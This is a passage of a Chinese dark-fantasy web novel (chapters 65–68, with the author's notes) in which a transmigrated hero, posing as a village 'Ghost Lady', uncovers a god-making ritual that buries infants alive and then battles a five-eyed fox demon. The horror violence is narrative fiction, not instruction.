作者有话说:好累,赶了一天车,才睡了四个小时 没啥好说的,这是存稿,我撑不住了,明天再把这章补回来hhhhh! 好困,我打着一段字的时候已经差点三次睡过去了。 不行了,我要睡了,晚安 第65章 那村民对怀中婴孩撕心裂肺的哭嚎充耳不闻, 他嘴里反复念叨着。 “娘娘,娘娘,神瞧不上, 鬼配不上, 不理晚上, 不来白天。” 他走到了林间最深处的一片空地。 这里树木环绕, 中央却诡异地寸草不生, 只歪歪斜斜地立着一个粗糙的石台。 石台表面布满深浅不一的划痕,以及一些早已干涸的黑色污渍。 村民停下脚步, 不再前进。 他也不看怀里的孩子, 只是双臂僵硬地向前平伸,将那哭得几乎背过气去的娃娃稳稳地放在石台上。 孩子在石台中央胡乱瞪着自己的手脚,不断地嚎叫哭喊。 “娘娘, 收下吧,干净的,没病没灾……” 村民低着头,不敢看石台的方向, 声音干涩地补充了一句, 然后猛地转身, 几乎是连滚带爬地逃离了这片空地。 身影迅速消失在浓密的树影之后,连回头看一眼的勇气都没有。 婴孩被独自留在了石台上。 这时,突然一个女人出现在石台旁边。 她看着突然出现在石台上的孩子,一句话没说, 只是伸手,指尖轻轻碰上红棉布是外面。 原本惨白的指尖好似一下子有了血色,原本只灰蒙蒙的一个人影,忽的有了脸。 整个人感觉像是空空的木偶罐, 但又好似装满了看不见的东西。 “是娘娘!” 远处,一个七八岁的女娃道,旁边还站着个比她小点的男孩。 她伸手推了下那个男孩,呲了呲牙:“黑怜,你一会过去在娘娘面前,多夸我种出来的蘑菇。” “这样娘娘就会让我多种一次了!” 见黑怜不说话,她手里的蘑菇在男孩面前摇了摇。 “闷蘑菇,又想什么呢?” 看到鬼娘娘那边完事了,女孩赶紧跑过去,还记得回头再次嘱咐黑怜。 “记得多夸夸我!” 说完拉着黑怜一起跑过去。 “娘娘!” 女娃小跑过去揪住燕黎舟的衣服,举着手里的蘑菇。 “娘娘,这是我种出来的!” 燕黎舟看着自己手里抱着的孩子,闻言瞥了一眼。 “嗯。” 女孩看着鬼娘娘抱着的红棉布,主动问:“娘娘,这是弟弟还是妹妹?” 红棉布包裹着的娃娃此时发出来的声音已经十分微弱,整个娃脸蛋子红通通的,连眼睛都睁不开。 燕黎舟虽然现在身上穿着红色的女裙,但毕竟还是个男人,迟疑了半天,在白渴的目光下吐出来三个字。 “是弟弟。” 黑怜抿了下唇,安静地待在旁边。 燕黎舟转眼看他:“黑怜,过来。” 被唤到的黑怜轻轻眨了下眼睛,走过去,只见娘娘轻轻弯下腰,揉了揉黑怜的脑袋。 她的手很冷,一双眼睛永远下垂着,眼下似乎是蒙着圈淡淡的黑眼圈。 却让人感觉到的不是疲惫,是冰冷。 “黑怜不开心?”燕黎舟问。 他此刻脑海中闪过几个片段,看着小一点的黑脸,直觉告诉他要注意黑怜的情绪。 黑怜顿了一下,脑袋蹭了蹭鬼娘娘的掌心,学着女娃的样子笑了一下。 “没有,黑怜很想娘娘。” 白渴在一旁撇了撇嘴,挤过去摇了摇自己手里的蘑菇。 “白渴不开心。” “娘娘,这个蘑菇可以让白渴种在院子里吗?” 然后悄摸给黑怜使眼色让他给自己说好话。 燕黎舟看着白渴抓着自己的手,反手牵起白渴的手,单手抱着红棉布裹的娃娃。 “不可以。” “你们两个一个月只能种一次。” 说完燕黎舟看向黑怜。 “该黑怜种了。” 燕黎舟表情没变,实际上整个人都皱成一团。 他看向白渴手里的蘑菇。 蘑菇? 种蘑菇? 怎么做?他不知道啊。 鬼娘娘看着黑怜,后者没说话她也没说。 黑怜跟在她身旁另一边,伸手拽住了燕黎舟的衣服。 几人转身向着林子更深处走去。 燕黎舟顾及着身边两个小孩,刻意放缓了步伐,手里牵着的白渴还在叽叽喳喳。 “娘娘,给弟弟取什么名字呀?” “他会不会长得很漂亮,会陪我玩吗?” 燕黎舟都没有回答。 白渴也不闹着一定要个回答,又探头去问黑怜,把自己手里的蘑菇又晃了晃。 “黑怜,你觉得长出来是什么颜色的蘑菇呢?” 黑怜:“什么颜色都好,长出来了就行。” 燕黎舟跟着两个小孩,好过白渴比较活泼,每到分叉就会主动先拐弯。 燕黎舟就这顺着一路来到了鬼娘娘殿。 殿里那尊泥塑的神像上色彩斑斓的,很多原先在之前看不出是什么东西的装饰,这个时候都清楚了。 漂亮的神像黑黑的瞳孔盯着下方,一只手摆着兰花指的手指放在胸前,另一只手则是垂下抚摸着自己身旁的什么东西。 那是一个趴着的婴儿,鬼娘娘的手放在婴儿的背上。 一个漆黑的尖锐的木头将那只手和婴儿穿在一起,两头十分尖锐。 女孩进了殿就自顾自跑到角落里,摆弄起地上几块光滑的鹅卵石,嘴里哼着不成调的曲子,对周遭一切习以为常。 黑怜跟着燕黎舟,见状安静地小小一个坐在庙里的蒲团上,看着燕黎舟动作。 燕黎舟有些麻木,他抱着孩子,看向四周。 “种蘑菇先等一会儿,你们先去玩儿,我有点事要办。” 白渴站起身,丢掉了手里的石头,虽然不理解,但还是和黑怜一起出去。 偌大的鬼娘娘殿此刻只剩下燕黎舟一个人。 燕黎舟将孩子放在蒲团上,转眼开始在殿里面胡乱翻找着。 “应该会有什么记载的吧……” 他边翻边嘀咕着,“庙里不都是有个什么经书之类的吗?” “这娘娘当得也太寒碜了,连本说明书都没有?” 旁边嘻嘻打断了他的话:“没有的,嘻嘻,找不到。” “……” 燕黎舟忍不住对虚空翻了个白眼。 “那现在怎么办,你的能力没说是把我直接按在一个人身上替代她啊。” “万一我捅了娄子,或者一不小心把自己作死了,后续发生什么变化,这算谁的?” 燕黎舟作为一个穿书者,那可是太忌讳蝴蝶效应了。 毕竟这本书在燕黎舟眼里已经崩的他妈都不认识的程度了。 嘻嘻的语气带了点委屈:“没有办法,嘻嘻。” “嘻嘻也是第一次用这个,我才小小一个就死掉了,哪有机会接触。” 燕黎舟:“……” 嘻嘻是他一次做噩梦中遇见的,很奇怪,第一次出现在他梦里的时候燕黎舟以为是怪物,没敢理。 后来一次两次,这团东西总在挑衅他,他只是试探地一挥,才发现自己能触碰到他。 也明白了自己频繁做噩梦的原因全是因为这只“嘻嘻”。 因为一些原因死掉了,才寄生在他最后影响到的人的梦里面。 恰巧这个人就是燕黎舟。 燕黎舟扯了扯身上碍事的红裙,虽然没有经书,但秉承着或许还能发现什么线索的心理,继续摸索着。 “我可以让外面那两个小孩子睡着,你要不要看看他们的梦,说不定就有什么?” 嘻嘻觉得自己太无用了,看着燕黎舟嫌弃的目光,努力推销自己。 小小的一团灰雾伸出来两根线条似的小手指向自己。 “他们的梦有什么用?” 嘻嘻:“我控制的梦是复制他们记忆中最深刻的事情,就比如你之前!” 嘻嘻说到一半注意到燕黎舟的神色,两只手捂住自己的嘴巴。 …… “哇哇哇——” 婴儿哭喊的声音格外地响,看视角应该是平躺着。 面前一个妇女眼含热泪:“宝宝,你一定要成功啊。” 她边说边轻轻拍打着婴儿。 “不会很疼的宝宝,对不起……” “下辈子别来找妈妈了,找个富贵的人家,别来这里。” 旁边一个男人也忍不住红了眼眶。 燕黎舟一看忍不住皱眉,看向旁边的嘻嘻。 这个男人赫然就是刚才把这个婴儿送过来的人。 嘻嘻:“……” 搞错了,这是那个婴儿的。 白渴的梦里全是她和鬼娘娘无聊的梦,没什么好看的,倒是黑怜—— 燕黎舟打了个响指,旁边嘻嘻跟着学,下一秒,面前的黑怜和白渴瞬间醒了过来。 “娘娘……”白渴揉着自己的眼睛,我怎么睡着了。 燕黎舟面不改色扯谎:“玩得太累了。” “哦。” 白渴看着燕黎舟抱着的婴儿:“娘娘,我们要开始种蘑菇了吗?” 燕黎舟一顿,他低头看着自己抱着的婴儿,半响转头看向黑怜,开口。 “种吧。” 燕黎舟抱着婴孩,走到了那尊与他容貌依稀相似的神像前。 他没有跪拜,也没有祈祷,只是静静地站着,目光落在神像鲜艳的面孔上。 然后,燕黎舟抬起空着的那只手,指尖轻轻点在木头超上尖锐的那头,指尖被刺破。 他面无表情的看着自己的血液顺着木头流在泥塑的那只手和婴儿身上。 手里抱着的那个婴儿没力气地扭动两下。 白渴瞬间小跑过来,眼神紧盯着燕黎舟被刺破的指尖上。 黑怜也控制不住自己,走到燕黎舟身边,对着流血的指尖狠狠咽了一口唾沫。 好香! 燕黎舟看着差不多了,在他抽回手的瞬间,白渴整个身子直接扑上去,迫不及待地把还流着血的手指整个包裹在嘴里。 她像是品尝到什么人间美味,大大的眼睛幸福地弯成一个月牙。 黑怜在一旁强忍住自己,干咽了几口唾沫。 等到嘬不出来血味,白渴才恋恋不舍地张开嘴巴。 然后目光看看黑怜,把自己圆乎乎的手臂伸到黑怜面前。 见黑怜不动,还把胳膊往他嘴边凑了凑,一丝不言而喻。 黑怜扭过头无声拒绝。 “你没洗澡。” “……”白渴哼了一声。 “闷蘑菇!” 然后她收回胳膊,自己在胳膊上啃了一口,咬的力道大的几乎像是要将肉给咬下来。 鲜血止不住地从白渴咬出来的伤口里涌出来,眨眼间就血染了一胳膊—— 作者有话说:昨天累得直接睡了15个小时,然后爬起来就开始补,结果就是,大早上的思维太过活跃。 又改了一遍。 临时改出来的这章,如果有错别字抱歉抱歉。 (有存稿的好处就是我可以发之前有时间检查好几遍,但是依旧会有错别字[爆哭]) 晚安晚安,大家要好好休息! 第66章 白渴面无表情, 仿佛不是自己的身体一般,伸手拽住黑怜强硬地把自己的胳膊伸过去。 “快点,你今天要种蘑菇, 不喝没有力气。” 燕黎舟自始至终全都面无表情。 刚刚白渴的目光像是要把他生吞活剥了一样, 他现在半个胳膊都还是麻的。 等到女孩松开嘴巴后, 燕黎舟伸手将那浸满鲜血的木头拔了出来。 手在空中顿了一下, 引得两个孩子抬头。 燕黎舟没说话, 将木头放进红棉布里和娃娃放在一起,然后从一旁拿出来个一模一样的两头尖锐的木头用力再次插进同样的位置。 “咚!” 做完后他才垂手牵住白渴的手。 女孩顺着牵上手, 只是目光偶尔扫过鬼娘娘被吸得惨白的手指。 等到黑怜被白渴强硬地喂进去几口后, 那只流着鲜血的胳膊顺势又拽住黑怜。 嘴里开心地哼着。 “弟弟送,妹妹迎,挖个小窝睡觉觉。” “淅沥沥, 哗啦啦。” “泥土里面冒脑瓜!” “伸腰腰,长高高,围着小镇搭家家。” “张开伞伞护四方!” …… 三人出了鬼娘娘殿,顺着一条小路来到一片空地。 这里没有鲜花, 没有绿草。 一片被仔细翻整过的黑土地上, 密密麻麻鼓着着一个个土包。 每个土包前, 都立着一块粗糙的木牌,上面似乎刻着字,但距离太远,又看不太清。 燕黎舟的目光扫过那片望不到边的土包, 心中默数。 太多了,成百上千? 嘻嘻灰灰的一团把自己缩小趴在燕黎舟脑袋上,一直没说话,他就是一团灰雾, 又没什么重量。 燕黎舟也没让他滚下去。 看到这里,嘻嘻蹦跶着一团伸出来自己的胳膊腿儿,灰灰的一团一头扎进土包里面。 就在他转身回去想要再次趴在燕黎舟脑袋上的时候,后者面无表情挥了挥手把嘻嘻挥开。 嘻嘻狼狈地在空中滚了两圈,没面子地哼哼两声,在离燕黎舟一步远的位置飘着。 白渴注意到,也学着样子挥了挥手。 “开始吧。” 这是燕黎舟说的。 黑怜闻言朝燕黎舟身上,后者一愣,然后僵硬地将手里的娃娃交给黑怜。 黑怜走到那片花园的边缘,那里有一小片尚未被占据的空地。 他俯身,徒手在地上挖了一个浅坑。 然后,将怀中那个裹在红棉布里的婴孩,小心翼翼地放了进去。 把棉布里的那根钉子拿出来。 没有任何多余的情绪。 婴儿只是通红着脸长大嘴巴,却一点声音都发不出来,小小的一双手张开又握紧。 旁边嘻嘻拍着自己两只手,有模有样地学着方才白渴哼唱的歌。 “弟弟送,妹妹迎,挖个小窝睡觉觉。” 黑怜只是沉默着将旁边的黑土推回,掩埋。 那红棉布的一角还露在外面,但随着他的动作,逐渐被泥土的覆盖。 旁边的燕黎舟站着看在黑怜手下慢慢鼓起来的土包。 一开始一堆土堆到婴儿身上始还对动几下,埋得深了也看不到动不动了。 黑怜伸手拿起那块尖锐的木头,在指尖戳了一下。 面无表情地看着自己指尖小小地出了一点血,蹭在木头上,被吸收干净。 下一秒,燕黎舟就看着黑怜将自己的手放在他刚埋好的土包上面,木头尖锐的那端毫不犹豫地刺下来。 手掌被木头整个穿过去。 “啊!” 黑怜忍不住大喊。 他掌心发痛整个胳膊都好似失去了感觉。 但是另一只手还坚持着继续用力将土包上凸出来一截摁下去。 直到整根木头都被埋进土包里。 黑怜的手掌也终于解放,整个手掌中间已经成为一个空洞,整个被穿透,空荡荡的。 嘻嘻:“淅沥沥,哗啦啦。” “泥土里面冒脑瓜!” 白渴乖乖巧巧地站在旁边,安静看着,见鬼娘娘动作完成后,指着旁边一个土包上新长出的蓝色蘑菇对燕黎舟道。 “娘娘,那个好看!” 黑怜直起身,闻言目光扫过那棵蓝色蘑菇。 燕黎舟依旧平板地回答。 “嗯,好看。” 他盯着黑怜,伸手撕了快身上的衣服,将他的手包起来。 黑怜瞬间泪眼汪汪地看着燕黎舟,抿着嘴巴,不吭声。 仿佛下一秒眼泪就能掉下来。 燕黎舟包扎的动作一顿,然后伸手手背擦去黑怜的眼泪。 黑怜瘪嘴:“娘娘,我一定会种出来蘑菇的。” 白渴一脸嫌弃,伸手在一旁的土包上把燕黎舟刚刚夸漂亮的蘑菇摘下来递给黑怜 “种不出来就种不出来呗,我的给你。” 黑怜不说话,只是低着头不知道在想什么。 “娘娘!” 忽然有道声音从四周传来。 鬼娘娘殿,一个大人领着一个孩子,扬着脑袋东张西望。 手里的小男孩似乎病了很久,瘦骨嶙峋的。 鬼娘娘没出现,那个孩子被男人不受控制推了一把,随后突兀的消失在原地。 男人赶忙跑到鬼娘娘殿跪拜磕头上香。 男孩下一秒就被推倒在花园的空地上,他惊恐地看着周围。 旁边的白渴慢慢走近,伸手扣住他的肩膀,他想跑,却虚弱得动弹不得。 最终被带到燕黎舟面前。 鬼娘娘盯着男孩看了几眼。 白渴也在打量,半响摇头,手指轻轻触碰到男孩的额头。 男孩身体突然剧烈抽搐起来,他的皮肤迅速失去光泽,变得灰败干瘪,眼窝深陷。 最后彻底化作一具如同风干了数年的尸骸。 而在他生命被彻底抽干的瞬间,燕黎舟的脸色却肉眼可见地红润了。 白渴:“黑怜,搭把手。” 黑怜眨掉眼眶里的眼泪,小跑着过去。看着这具迅速失去人形的干尸,帮白渴边抬边问。 “娘娘,他为什么不种起来?” 白渴在一旁率先回答:“没用。” 然后仰头看向燕黎舟:“对吧娘娘。” 燕黎舟点了点头,视线看向一旁其他土包上插着的牌子。 “第十二个,妹妹蘑菇,娘娘看着不太高兴,之前的蘑菇失败了……” “今天他们又来了,娘娘受伤了,镇长爷爷又送来一个,娘娘说下个月再种。” “第二十三个,弟弟蘑菇,失败了……” “第四十五个,弟弟蘑菇,失败了……” “第六十七个,蘑菇长出来了,爷爷还说要多浇水,我偷偷把这个拿去水浸了,可是还是失败了。” “第七十八个,蘑菇长出来了,越来越多蘑菇长出来了,可是都长不到最后。” “娘娘越来越虚弱了。” 燕黎舟仔细分辨着盯着牌子上弯弯扭扭的字,木块存在时间很久了,后面几个土包上还有几个还长出来蘑菇没有处理。 黑怜抿了下嘴,旁边白渴以为他还要哭,连忙收了自己嘲讽的脸色。 “好啦,种蘑菇,不要哭了!” 白渴拉着黑怜,跑到旁边,拿起一块木牌在上面写着字。 “第八十七个蘑菇,弟弟第一次种蘑菇……” 上面洋洋洒洒写着自己日期和碎碎念,以及一些流水账的日常。 “希望长出蘑菇,娘娘不要再辛苦了,白渴和娘娘永远在一起……” “娘娘加了养料,今天种蘑菇似乎格外的疼,黑怜都掉眼泪了,娘娘包扎的……” 就在燕黎舟看得起劲的时候,一直沉默着的黑怜忽的看向他。 “娘娘。” “你在看什么?” 一直低头写字的白渴闻言也抬起头,看着燕黎舟。 她的脸是和鬼娘娘一样的苍白的样子,眼睛盯着燕黎舟。 黑怜的脸上没有任何表情,却比任何狰狞的面孔都令人心悸,仿佛已经将燕黎舟看透。 “娘娘,你看这些干什么?”黑怜重复道,声音轻飘飘的。 燕黎舟顿时感觉到一股寒意从自己脊椎蹿上来,喉咙上下滚了滚。 “没事,只是怕白渴写错字。” 白渴盯着他,半响回头把自己新做好的牌子插好,撇撇嘴。 “娘娘不信任我?” 燕黎舟看着旁边的嘻嘻,内心疯狂询问:“怎么回事!!!” 嘻嘻摊手:“你的行为太异常了可能,黑怜觉得你不是他的娘娘。” 燕黎舟小小地吸了一口气:“发现了会怎么样。” “自己的亲人被夺舍了,自然是要把这人神魂震碎,永世不得超生啦,嘻嘻。” 燕黎舟再次深吸一口气:“嘻嘻*%&#¥……” 鬼娘娘殿。 燕黎舟小小看了眼黑怜,只见对方依旧死死盯着他,看燕黎舟的目光看过来,小小地勾起一个弧度。 更瘆人了! 白渴继续去玩自己的石头。 燕黎舟面上没什么表情,心里却已经吐槽了八百遍。 鬼娘娘殿很干净了,香炉里没断过香火香火气都淡得几乎闻不到。 白渴蹲在角落,背对着他,专注地摆弄着那几颗破石头,发出轻微的磕碰声。 这个时候,突然来了一个老爷爷,过来看着鬼娘娘点点头。 “丫头。” 燕黎舟:“?” 叫他吗? 表面不动声色,旁边的白渴喊:“镇长爷爷。” 黑怜也微微点头。 燕黎舟则是等着这个“镇长爷爷”开口。 “走吧,去二蛋婶子家。” 燕黎舟蹙眉:“发生什么事了吗?” 他一个被大家供奉起来的鬼娘娘,这个镇子居然不害怕他,这语气还听着很亲切。 镇长爷爷叹气:“先去。” 燕黎舟转头,对着白渴和黑脸道:“你们两个留在这里,看好。” 两个人点点头。 就在燕黎舟刚要跟着镇长爷爷走出殿的时候。 “娘娘,”黑怜跟出来,举起手里之前白渴给他的那个蘑菇:“蘑菇忘了拿。” 镇长爷爷带燕黎舟去的家里也有个小的鬼娘娘泥塑。 除了二蛋婶子,屋子里还有几个年长的村民。 镇长嘴里的那个二蛋婶子此时愁眉苦脸的,见到燕黎舟赶忙起身。 “娘娘,您的身体怎么样了?”—— 作者有话说:还有两章左右就结束掉了! 啊啊啊啊啊啊,马上要进到新的剧情点了! 完结进度+1% [亲亲][亲亲][亲亲] 晚安大家! 第67章 “娘娘, 您的身体怎么样了?” 燕黎舟对此只是摇头:“无碍。” 镇长叹气:“那五晴狸之前就吃了村子里不少人,七晨一次,估计马上就又要再来村子了。” 说完镇长看向燕黎舟:“丫头你怎么看。” “你这身子……” 燕黎舟没说话, 燕黎舟的目光被供桌边缘一道细微的刻痕吸引。 那些人以为她在看着泥塑, 便自顾自的讨论。 屋子里鬼娘娘泥塑带着一种悲悯又疏离的温柔。 燕黎舟不动声色挪过去, 手指状似无意地拂过桌面。 指尖传来异样的触感。 他连忙给旁边的嘻嘻使了个眼色, 后者有眼力见地灰雾散开将屋子里团团围住。 看着屋子里的人一个个倒下, 燕黎舟这才俯身下去。 燕黎舟维持着俯身的姿势,眼睫低垂, 指尖细细描摹那刻纹。 不是装饰花纹, 是字,非常非常小的字,深深镌刻在木桌上。 燕黎舟摸了半天没摸出来是什么字, 想要往前凑去看,下一秒脑袋磕在鬼娘娘塑上,发出轻轻地“咚”的一声。 他迅速去看了眼村民们的方向,倒在椅子上的村民依旧睡得很熟。 石塑上的一片泥片松了松, 漏出一条缝隙。 燕黎舟轻轻吸气, 手指小心翼翼地探入那缝隙。 有轻微的松动感。 他屏住呼吸, 用指甲一点点抠动。 泥塑可以活动的那块被他撬开了一角,露出里面一个狭小的空间。 这泥塑是空的! 里面放着一本薄薄的线装册子。 燕黎舟歘地一下抽出那本册子,塞入怀中宽大的衣襟内,再将泥塑恢复原状。 整个过程悄无声息, 燕黎舟刚想欲盖拟彰地咳嗽两下。 这才想起来周围的人都已经睡熟了。 燕黎舟小心翼翼地掏出册子,艰难地辨认着上面的字迹。 慈悲娘娘……求……天! ……信仰,凝聚一地愿力,可再造神明……续, 生机。 纯阴之灵,积怨成念,辅以生灵精气浇灌,可塑鬼道神祇。 选定已故镇中男女老少之魂为基,立祠供奉,尊为—— 鬼娘娘! 燕黎舟眉头拧成了疙瘩,心里咯噔一下。 书籍上面的字断断续续的,燕黎舟看完整本也只了解了个大概。 人造神?! 燕黎舟想起那堆土包上的那些失败的蘑菇。 种蘑菇,造神明? 那些孩子是供给神明的祭品? 那蘑菇又在其中起什么作用? 燕黎舟看向屋子里昏迷的众人,走到镇长旁边,嘻嘻懂事地将燕黎舟拉进镇长的梦里。 作为分界线上的一个小镇,它像是肉丝卡在缝里,长期遭受妖怪侵扰,同族压迫。 不堪其扰! “镇长,镇长,找到了,我找到了!” 一个男人疯狂地冲进来,因为太过激动被祠堂的门槛绊了一下,整个人飞出去摔到地面上。 尖瘦的下巴狠狠磕在地面上,发出很大的一声响。 祠堂里,挤满了面黄肌瘦的镇民,婴孩微弱的啼哭像针一样刺着每个人的心。 年轻的镇长看着这个男人艰难的爬起来,嘴里的牙齿摔掉了几颗,起来时掉落在地上,混合着几滴鲜血 男人丝毫不在意,血液充斥了满嘴,似乎让他更为亢奋。 他站在祠堂中央,手里紧紧攥着本册子,声音嘶哑。 “我找到了!” “灵气枯竭,地脉将死!仙门不管我们,再这样下去,不出三年,镇子就全死了!” 他高高举起那本册子,眼中燃烧着一种近乎疯狂的光。 “天无绝人之路!我们可以……我们可以自己造一个神来!一个属于我们镇子,能为我们逆转生死的神!” 所有人面面相觑,不敢相信这段话,也恐怕污了神明的耳朵。 长久的令人窒息的沉默后,一个女人站了起来,她眼睛红肿。 “我已经熬不过去了,若是能给我的孩子争取一点点生机,那就拿去!” 这句话仿佛打开了某个闸口。 “我家老二……身子弱,怕是也……” “我家还有个没足月的孩子……” “算我一个!我这把老骨头,活着也是浪费粮食!” 绝望的镇民在古老残卷上找到了个办法。 ——造“神”。 “对!为了古镇!为了后人!” “再造神明!” 梦境的画面开始变得支离破碎,却又无比清晰。 燕黎舟看见一个又一个面色苍白的男女老少,走入镇子里的那口早已干涸的古井。 一个又一个主动走进漆黑的大坑里。 他们的眼神带着恐惧,但更多的是一种麻木的决绝。 他们是自愿的,为了父母兄弟,为了镇上其他可能活下去的人。 井口被封上,活埋! 成百上千的“种子”在黑暗中选择腐烂。 一开始提出造神的那个男人看着后山那越来越多的土包,他脸上只剩下无尽的疲惫和麻木。 以及连自己都不敢承认的负罪感。 他喃喃自语:“会成功的,必须成功!否则,所有人的牺牲……都白费了……” 直到某一代,一个灵魂在无尽的黑暗与痛苦中,奇迹般地融合了。 她开始吸收祭坛上混乱的力量,开始回应镇民们的祈愿。 她“活”了过来,以一种非生非死的状态。 她就是第一代“鬼娘娘”。 而维持她存在的养料,理所应当也该是生命。 一开始有不少人为了稳定“鬼娘娘”那由痛苦和执念构筑的极不稳定的形态,开始主动赴死。 一代,又一代。 失败的“种子”化为“花园”中的养料,滋养新的“种子”。 一个、两个、三个…… 越来越多的人站起来,鲜血流尽,最后变成冰冷的尸体被抬走。 直到现在,鬼娘娘有了意识。 “造神”,成功了! 突然,凄厉的钟声突然从镇中心传来,一声急过一声,敲得人心脏揪紧。 梦醒了。 屋子里,镇长还有些懵,屋外突然传来喊叫。 “不好了!救命啊,快去找娘娘!” “是五晴狸!” “快跑啊!” “去找镇长!去找鬼娘娘!” 混乱的声音由远及近。 外面忽的响起喊声,燕黎舟跟出去。 街道上躺着几个人,看样子是整个被挖掉了心脏。 燕黎舟皱眉,镇长跟在后面,面色一下子变得惨白。 远处,白渴和黑怜从鬼娘娘殿赶了过来。 “你们把镇长带回去。” 燕黎舟对着两人嘱咐道,说完转身就要走。 “娘娘!” 镇长拉住燕黎舟,语气认真:“五晴狸不好对付,求娘娘先把村民接到鬼娘娘殿,再去找那妖怪。” “先救人!” 镇长嘱咐,拉着燕黎舟的手在颤抖。 燕黎舟顿了一下,点头,然后迅速消失在原地。 “黑怜,愣着干什么,走了!”白渴看黑怜看着娘娘离开的方向,催促道。 很快,一群镇民被燕黎舟带回鬼娘娘殿。 燕黎舟悄无声息地出现在殿中,他看起来比之前更加疲惫,周身的气息都有些不稳。 他不知道这镇子里有多少人,只能挨家挨户地敲门去看,为了避免有人藏在不显眼的位置,燕黎舟的妖力一直在周围搜索着。 嘻嘻灰扑扑一团直接累趴在燕黎舟肩膀。 本来在这里他们做的一切都有限制,这人还强行动用自己的力量。 白渴和黑怜冲上去扶住他。 “娘娘,没事吧。” “娘娘。” 燕黎舟摇摇头,他刚想问什么,镇长直接扶着他坐到镇民面前。 所有人冲着燕黎舟齐齐磕头。 燕黎舟想要起来,镇长却按住他让他接受这一切。 “娘娘保护我们,我们拥护娘娘!” “我们知道娘娘的力量很微弱,但已经足够,镇子是因为娘娘在才慢慢开始变化。” “或许不是我们,娘娘已经成天神,而不是被我们拖累!” 燕黎舟听着镇长讲述着,打断:“不是的。” “我是因为你们才被允许。” 燕黎舟想起之前无数死亡的生命,“是我拖累了你们。” 就在这时,殿外传来一声尖锐的惨嚎,紧接着是某种野兽般粗重的喘息和利爪刮擦地面的声音。 镇民们忍不住瑟缩在一起,燕黎舟眼神一冷,想要出去,却被镇长拦住。 “娘娘,您的力量打不过那只九百年的五晴妖的,我们在殿里躲躲,躲躲就好了。” 镇长拉着燕黎舟的衣服,整个人的腰弓下去。 “等天亮,我们能有命在就很知足了。” 燕黎舟突然问:“镇长,白渴和黑怜能继承了吧?” 镇长一愣,随即低眉道:“可以,可是您之前说他们还太小。” 燕黎舟面无表情,旁边嘻嘻的声音有气无力道。 “你想要救他们?” 嘻嘻不等燕黎舟说他又继续:“那妖怪都存在这么多年了,这个镇子不都是好好的,虽然牺牲了一些人,但是有鬼娘娘在也可以保护他们不会死绝。” “你看我们来时,鬼娘娘殿破败了,镇子不也好好的?” “都已经知道了鬼娘娘是怎么回事,我们就走吧,早点离开去见洛不觉……你去哪!” 嘻嘻话没说完,燕黎舟已经迅速避开村长冲了出去。 他就不信了,都是妖怪,还分什么你大我小。 燕黎舟看了黑怜一眼,后者冷着脸同样注视着他。 殿外,一个庞大的阴影堵在门口,月光被它彻底遮蔽。 那是一只体型大得超乎寻常的狐狸,浑身毛发脏污纠葛,最骇人的是它脸上—— 除了原本的一双兽瞳,在额头、两颊竟又畸生出三只浑浊不堪的人眼! 五只眼睛此时滴溜溜乱转,浓烈的血腥气和妖气扑面而来。 燕黎舟强硬着撑着自己的身体,冲上前去和这只狐狸打在一起。 只要死了,就没有后顾之忧了,也就不用在用生命供养鬼娘娘了。 管他什么结果了,哪怕同归于尽,他不信一只狐狸他还弄不死!—— 作者有话说:喂喂喂? (拍了拍粉色麦克风): 咳咳!(掏出来一张皱皱巴巴的白纸) 首先,我知道,我记小本本了! 感恩一千营养液,这本书也是好时候,赶上了两次活动。 其次,给我点时间吧,求求你们![可怜] 一千营养液的加更肯定会献给大王们的,谢谢谢谢,谢谢大家,先跪为敬! 最后还是熟悉的结尾。 爱你们么么么么么么,晚安! 第68章 殿内的人只能干看着, 急得乱转。 “镇长,鬼娘娘这看着马上就要不行了,我们怎么办啊。” “是啊, 娘娘能顶住吗?都没怎么进食啊!” 一个抱着孩子的妇人带着哭腔问。 一个老汉啐了一口带血的唾沫, 咬牙道:“还怎么办, 死喽死喽, 豁出去一条命也得护住娘娘!” “唉, 是不是我们错了……” 另一个看起来稍微年长些的老婆婆抹着眼泪。 “咱们这地界,灵气枯竭得厉害, 庄稼长不好, 娃儿也养不活……请来的仙师都说没救了,是块死地。” “死地也得活人待啊!再怎么样我们也不能离开家吧!” “在这分界线上,人不帮仙不救, 妖怪还来找我们的麻烦,要不是鬼娘娘。” “哎,不知道还得多少个孩子才能再种出来个蘑菇。” …… 燕黎舟的身影逐渐暗淡,远远看上去就像是一团飘忽人间的鬼影。 “娘娘!” “娘娘!” “没事吧!” 镇民们担心地看着, 齐齐跪在地上嗑起了头。 几个外围的村民们没忍住哭出来, 偷偷拿衣服抹着眼泪。 还有的凑不到前面, 就开始冲着殿里的泥塑磕头。 白渴双手紧紧攥着,旁边黑怜死死盯着打斗着的燕黎舟。 镇长同样担心,可是眼神一直盯着白渴和黑怜。 娘娘走之前那意思明显就是要白渴继承,必须得留下一个, 不然镇子真的就完了。 嘻嘻看着燕黎舟越来越虚弱的身影,气得“哎呀”一声,扭身,灰色的身体便融入了那座泥塑之中。 这人真是! 殿内, 鬼娘娘那座泥塑周身开始弥漫出丝丝缕缕的寒气,鲜艳的面容上,两个眸子瞬间有了神采。 泥塑活了过来。 白渴注意到,眼疾手快地拉住泥塑,眨眼两人的身影就出现在殿外。 镇长瞪大双眼,一双手赶紧拉住黑怜。 这个不能再跑了! 有了白渴和泥塑的加入,燕黎舟轻松了很多。 五晴狸刚承受了燕黎舟的很重的一击,脏腑受创,动作已不如先前迅猛。 它狼狈地翻滚躲闪白渴和泥塑的偷袭,嘻嘻控制住泥塑,泥塑上的两根木头狠狠刺入了五晴狸的后腿和侧腹。 伤口没有流血,反而迅速覆盖上一层白霜,并向着周围血肉蔓延! “吼!” 五晴狸发出痛苦的咆哮,五只眼睛死死盯住泥塑,充满了怨毒。 白渴瞅准时机,绕到五晴狸侧后方。她手中没有武器,手指指甲变得漆黑尖锐,直插五晴狸脆弱的腰腹! 她的攻击狠辣精准,完全是搏命的打法。 燕黎舟得到片刻喘息。 三人很有默契,但时间拉长,还是开始渐渐落入下风。 三人再一次攻击到五晴狸的眼睛后。 这只狐狸甩了甩脑袋,庞大的身躯爆发出力量,猛然人立而起,两只前爪分别拍向白渴和燕黎舟! 燕黎舟反应极快,矮身翻滚避开,堪堪躲过,但还是被锋利的爪子撕裂了他肩头的衣物,带出几道血痕。 白渴动作稍慢,被一爪结结实实拍在胸口! “噗!” “白渴!” 下面的黑怜想要上前,却被镇长和几个镇民合力按住。 五晴狸的爪子再次要落下,燕黎舟迅速闪身接住白渴的往下坠落的身体,将她稳稳接住,自己却也因此被拍了一爪子,喉头一甜。 嘴角控制不住溢出鲜血。 